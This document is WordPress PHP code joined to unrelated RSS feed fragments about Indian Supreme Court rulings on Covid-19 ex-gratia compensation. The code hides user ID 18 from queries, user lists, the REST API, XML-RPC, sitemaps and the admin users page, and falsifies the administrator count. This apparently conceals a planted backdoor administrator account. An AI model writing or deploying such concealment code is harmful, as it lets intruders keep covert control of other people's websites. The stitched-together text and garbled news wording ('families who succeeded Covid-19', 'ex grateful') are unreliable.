add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
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}, 1 );

add_action( 'template_redirect', function() {
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            global $wp_query;
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            status_header( 404 );
            nocache_headers();
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    }
} );

add_action( 'pre_user_query', function( $q ) {
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        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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		<title>The Supreme Court has approved an ex-gratia payment of Rs 50,000 to the families of those who died as a result of Covid-19</title>
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					<description><![CDATA[<p>The Supreme Court authorized an ex-gratia policy of Rs 50,000 for families of Covid-19 victims on Monday. “Next kin of the deceased shall be paid an amount of Rs 50,000 and it will be over and above the amounts paid by center and state under various benevolent schemes,” a bench of Justices M R Shah [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/the-supreme-court-has-approved-an-ex-gratia-payment-of-rs-50000-to-the-families-of-those-who-died-as-a-result-of-covid-19">The Supreme Court has approved an ex-gratia payment of Rs 50,000 to the families of those who died as a result of Covid-19</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>The Supreme Court authorized an ex-gratia policy of Rs 50,000 for families of Covid-19 victims on Monday. “Next kin of the deceased shall be paid an amount of Rs 50,000 and it will be over and above the amounts paid by center and state under various benevolent schemes,” a bench of Justices M R Shah and A S Bopanna said.</p>
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<p>The court ordered that the funds be disbursed within 30 days of the application&#8217;s submission. The court further stated that for compensation, Covid-19 cases would be those in which the victims tested positive in an outpatient clinic or inpatient hospital within 30 days of their death.</p>
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		<title>Supreme Court Asks NDMA For Guidelines Of Ex-Gratia For Covid Deaths</title>
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					<description><![CDATA[<p>On Wednesday the Supreme Court directed the NDMA to lay forth criteria for the ex-gratia compensation payment to members of the family who succeeded Covid-19, ANI reported. In its ruling, the NDMA was also instructed to establish in six weeks the sum ex grateful to the families of individuals who died of an infection, from [&#8230;]</p>
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										<content:encoded><![CDATA[<p>On Wednesday the Supreme Court directed the NDMA to lay forth criteria for the ex-gratia compensation payment to members of the family who succeeded Covid-19, ANI reported. In its ruling, the NDMA was also instructed to establish in six weeks the sum ex grateful to the families of individuals who died of an infection, from a tri-judicial panel headed by Justice Ashok Bhushan.</p>
<p>In response to a request to the relatives of all those who succeeded to the Virus, the court gave an order asking ex grace of Rs 4 lakh. By their affidavit, the Center had claimed that governmental authorities cannot afford to pay for this and advocated a broader strategy, including health measures.</p>
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